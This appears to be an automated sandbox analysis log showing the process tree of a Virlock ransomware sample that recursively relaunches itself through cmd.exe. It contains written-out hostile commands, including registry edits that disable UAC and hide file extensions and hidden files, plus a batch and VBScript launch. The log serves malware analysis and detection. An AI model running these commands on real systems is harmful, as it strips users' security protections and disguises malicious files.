                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                  81⤵
                                                                                                                                                                                                                                    PID:1804
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                      82⤵
                                                                                                                                                                                                                                        PID:3460
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                          83⤵
                                                                                                                                                                                                                                            PID:6100
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                              84⤵
                                                                                                                                                                                                                                                PID:5356
                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                  85⤵
                                                                                                                                                                                                                                                    PID:248
                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                    85⤵
                                                                                                                                                                                                                                                      PID:1828
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                        86⤵
                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                        PID:4704
                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                          87⤵
                                                                                                                                                                                                                                                            PID:1800
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                            87⤵
                                                                                                                                                                                                                                                              PID:1268
                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                88⤵
                                                                                                                                                                                                                                                                  PID:2076
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                    89⤵
                                                                                                                                                                                                                                                                      PID:4436
                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                        90⤵
                                                                                                                                                                                                                                                                          PID:1332
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                            91⤵
                                                                                                                                                                                                                                                                              PID:3676
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                92⤵
                                                                                                                                                                                                                                                                                  PID:3996
                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                    93⤵
                                                                                                                                                                                                                                                                                      PID:456
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                        94⤵
                                                                                                                                                                                                                                                                                          PID:5336
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                            95⤵
                                                                                                                                                                                                                                                                                              PID:1344
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                96⤵
                                                                                                                                                                                                                                                                                                  PID:5824
                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                    97⤵
                                                                                                                                                                                                                                                                                                      PID:2476
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                      97⤵
                                                                                                                                                                                                                                                                                                        PID:1900
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                          98⤵
                                                                                                                                                                                                                                                                                                            PID:4516
                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                              99⤵
                                                                                                                                                                                                                                                                                                                PID:2540
                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                99⤵
                                                                                                                                                                                                                                                                                                                  PID:4868
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                    100⤵
                                                                                                                                                                                                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                    PID:2024
                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                      101⤵
                                                                                                                                                                                                                                                                                                                        PID:2728
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                        101⤵
                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                        PID:2384
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                          102⤵
                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                          PID:5352
                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                            103⤵
                                                                                                                                                                                                                                                                                                                              PID:904
                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                104⤵
                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                PID:4332
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                  105⤵
                                                                                                                                                                                                                                                                                                                                    PID:5032
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                      106⤵
                                                                                                                                                                                                                                                                                                                                        PID:5436
                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                          107⤵
                                                                                                                                                                                                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                          PID:1496
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                            108⤵
                                                                                                                                                                                                                                                                                                                                            • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                            PID:4924
                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                              109⤵
                                                                                                                                                                                                                                                                                                                                                PID:3544
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                  110⤵
                                                                                                                                                                                                                                                                                                                                                    PID:5724
                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                      111⤵
                                                                                                                                                                                                                                                                                                                                                        PID:2940
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                          112⤵
                                                                                                                                                                                                                                                                                                                                                            PID:916
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                              113⤵
                                                                                                                                                                                                                                                                                                                                                                PID:4280
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                  114⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5864
                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                      115⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:4364
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                          116⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                          PID:5212
                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                            117⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:1388
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                118⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3168
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                    119⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:5524
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                        120⤵
                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                        PID:4872
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                          121⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:2040
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                            121⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:2416
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                122⤵
                                                                                                                                                                                                                                                                                                                                                                                                • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                PID:3760
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                  123⤵
                                                                                                                                                                                                                                                                                                                                                                                                    PID:788
                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                    123⤵
                                                                                                                                                                                                                                                                                                                                                                                                      PID:6020
                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                        124⤵
                                                                                                                                                                                                                                                                                                                                                                                                        • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                        PID:3704
                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                          125⤵
                                                                                                                                                                                                                                                                                                                                                                                                            PID:2772
                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                            125⤵
                                                                                                                                                                                                                                                                                                                                                                                                              PID:3596
                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                                126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                  PID:432
                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                    127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3320
                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                                      127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3516
                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock"
                                                                                                                                                                                                                                                                                                                                                                                                                          128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a command shell one-liner
                                                                                                                                                                                                                                                                                                                                                                                                                          PID:3876
                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe
                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock
                                                                                                                                                                                                                                                                                                                                                                                                                            129⤵
                                                                                                                                                                                                                                                                                                                                                                                                                              PID:856
                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5164
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                    131⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2788
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                    130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:3292
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                        131⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1632
                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                        130⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                        • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1880
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                    128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies registry key
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1756
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                    128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5136
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /d 0 /t REG_DWORD /f
                                                                                                                                                                                                                                                                                                                                                                                                                                    128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1452
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                      129⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3736
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VuQMQgMQ.bat" "C:\Users\Admin\AppData\Local\Temp\2026-07-19_065066d0b9262daeb63ff2965db5d4a4_elex_virlock.exe""
                                                                                                                                                                                                                                                                                                                                                                                                                                      128⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1136
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          cscript C:\Users\Admin\AppData\Local\Temp/file.vbs
                                                                                                                                                                                                                                                                                                                                                                                                                                          129⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                          • Executes a VBScript file via the Windows Script Host.
                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1088
                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                    reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v HideFileExt /t REG_DWORD /d 1
                                                                                                                                                                                                                                                                                                                                                                                                                                    126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                    • Modifies visibility of file extensions in Explorer
                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6048
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                      127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5076
                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /f /v Hidden /t REG_DWORD /d 2
                                                                                                                                                                                                                                                                                                                                                                                                                                      126⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:912
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                                                                                                                          127⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:4032
                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
